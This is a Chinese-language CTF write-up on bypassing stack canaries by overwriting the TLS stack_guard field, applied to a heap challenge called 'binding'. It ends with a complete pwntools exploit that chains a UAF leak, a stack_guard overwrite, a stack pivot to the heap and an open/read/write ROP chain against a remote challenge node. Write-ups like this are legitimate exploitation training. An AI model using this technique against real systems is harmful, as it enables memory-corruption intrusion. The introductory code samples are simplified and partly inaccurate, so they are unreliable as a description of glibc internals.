劫持TLS绕过canary && 堆和栈的灵活转换

引入：什么是TLScanary？

TLScanary 是一种在 Pwn（主要是二进制漏洞利用）中常见的技术，专门用于处理 TLS 保护的二进制文件。在安全竞赛（例如 CTF）和漏洞利用场景中，攻击者需要应对目标程序的多层安全机制，其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护（stack canary）技术，增加了攻击难度。

可见TLS和canary有着不可分割的关系

介绍：TLS的基本概念（pwn canary中）

• TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域，用于存储与该线程相关的特定数据。
• 在堆栈保护方面，TLS 常被用于存储堆栈 canary 值，这是一种防止缓冲区溢出攻击的安全措施。
• 堆栈 canary 是一种在函数返回地址之前插入的特殊值，用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值，程序会在返回前检测到不一致，并终止执行，防止恶意代码执行。

其实对于多线程的canary来说，每个线程的canary都是独立存在的，当一个线程被创建时，操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块（TCB）来管理，每个线程都有一个独立的 TCB。

在多线程环境中，每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时，会在堆栈的适当位置插入一个 canary 值。

一个示例代码

void* thread_function(void* arg) {
    // 每个线程有自己独立的 TLS 区域
    __thread int thread_local_variable = 0;

    // 在函数入口处插入 canary 值
    unsigned long canary_value = generate_random_canary();

    // 检查 canary 值是否被修改
    if (canary_value != expected_canary_value) {
        terminate_program();
    }

    // 线程的实际工作
    // ...

    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];

    // 创建多个线程
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, thread_function, NULL);
    }

    // 等待所有线程完成
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

struct pthread结构体

#include <stddef.h> // 为了使用 size_t

/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
    // 定义线程控制块头部结构体
    // 可以根据实际情况进行定义
    // 例如：线程 ID、状态信息等
    int thread_id;
    // 其他相关信息
} tcbhead_t;

/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */
    tcbhead_t header; // 可能与 TLS 相关的头部信息
#else
    struct {
        // 更复杂的结构体定义
        // 可能包含与 TLS 相关的更多详细信息
        // ...
    } header;
#endif

    /* Extra padding for alignment and potential future use */
    void *__padding[24]; // 填充数组，用于对齐和可能的未来扩展
};

看见看到struct pthread结构的第一个字段是tcbhead_t

tcbhead_t 结构体的解析：

typedef struct {
    void *tcb;            /* 指向线程控制块（TCB）的指针 */
    dtv_t *dtv;           /* 线程特定数据的指针 */
    void *self;           /* 指向线程描述符的指针 */
    int multiple_threads; /* 标识是否有多个线程 */
    int gscope_flag;      /* 全局作用域标志 */
    uintptr_t sysinfo;    /* 系统信息 */
    uintptr_t stack_guard;/* 堆栈保护 */
    uintptr_t pointer_guard; /* 指针保护 */

    /* 其他可能的字段... */
} tcbhead_t;

其中stack_guard里面放的就是单线程的canary，通常可以通过覆盖它的内容来达到绕过canary保护的目的

一道题目的引入

刚好对于上一篇留下的问题，题目：binding

题目保护情况

64位ida载入

初看时是个堆题

add函数申请大小有限制，一次创建两个堆块，calloc申请堆块

edit函数，白给任意地址写一个字节（因为unsigned __int8类型指针占一个字节），有溢出不多，可以迁移

free函数，明显的UAF漏洞可以泄露地址

show函数

开了沙箱，只能orw

思路：1.通过UAF漏洞泄露heap地址和libc地址

2.通过任意地址写劫持stack_guard来绕过canary保护

3.通过栈迁移迁移到heap上，执行rop链

EXP：

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
    io.sendlineafter('choice:','1')
    io.sendlineafter('Idx:',str(index))
    io.sendlineafter('Size:',str(size))
    io.sendafter('Content:',content)

def edit(index,content1,content2):
    io.sendlineafter('choice:','2')
    io.sendafter('Idx:',index)
    io.sendafter('context1: ',content1)
    io.sendafter('context2: ',content2)

def show(rw,index):
    io.sendlineafter('choice:','3')
    io.sendlineafter('choice:',rw)
    io.sendlineafter('Idx:',str(index))

def free(index):
    io.sendlineafter('choice:','4')
    io.sendlineafter('Idx:',str(index))

#gdb.attach(io)
for i in range(6):
    add(i,0x100,'a')

for i in range(1,5):
    free(i)

#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))

#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()

pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret

#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)

orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'

add(6,0x120,orw_payload)

payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)

io.interactive()